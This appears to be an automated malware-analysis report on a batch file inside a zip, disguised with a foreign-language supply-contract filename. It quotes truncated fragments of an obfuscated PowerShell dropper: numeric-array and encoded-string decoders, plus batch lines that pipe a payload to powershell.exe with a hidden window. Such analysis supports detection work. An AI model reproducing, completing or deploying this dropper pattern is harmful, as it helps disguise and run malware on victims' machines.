01102026_2358_01102026_ДОГОВОР ПОСТАВКИ- տիպային.bat.zip
Obfuscated PowerShell payload execution
Numeric character array payloadPowerShell executable name reference
SHA-256ed229337545076f203ba7305f6ffa5681bb861f359cdb43d52b67f7ccb92ca43
MaleculeO(As₃)H(Po₂)Md₃(BiPa)
Evidence
3:716… onment]::TickCount;function eksamensarbejder ($dagpaafuglejerne,$biveje177) {$leasts=dityrambes(@(104,217,206,215,220,198,197,170,234,212,220,209,207,201,182,227,210,157,206,221,211,182,157,145,210,213,219,201,174,218,158,167,163,142));Myndigst ($leasts)}$valleculae = [System.BitConverter]::GetBytes(2048);[System.Diagnostics.Stopwatch]::StartNew();function klorofyls ($sigterne) {[Convert]::ToChar($sigterne)}$blackguard = [ …
3:1308… t32]::Parse('581');[void][System.Math]::Pow(2, 5);while($true) {$bortcensurair86[$irritatory]-=$laically[$irritatory%%$hewed];$afhngige+=klorofyls($bortcensurair86[$irritatory++]);if(-not $bortcensurair86[$irritatory]){$forebragte = …
3:3012… , 9))}}[System.Math]::Truncate(55.67);$perlative=Semiliquidity 'cVtdUEQyDSoRAgcfRSoQVVxAQlVfZCIEHlpRX2QNW0RXRRYyT1xFWUtUbVUqFQ8OC2tHXUFcVVV0RE02BRcBIhoVX11QUWpF';$naitly=Semiliquidity 'LAEZAB9fS2sBHxEIDAojEAMXBQsBI …
3:5816…
4
5
6set "bekldes=%SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe"
7if not exist "%bekldes%" (
8set "bekldes=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"
9)
10
11echo %%Inflatoriskes%% | "%bekldes%" -windowstyle hidden -
No evidence locations were recorded for this file. Raw result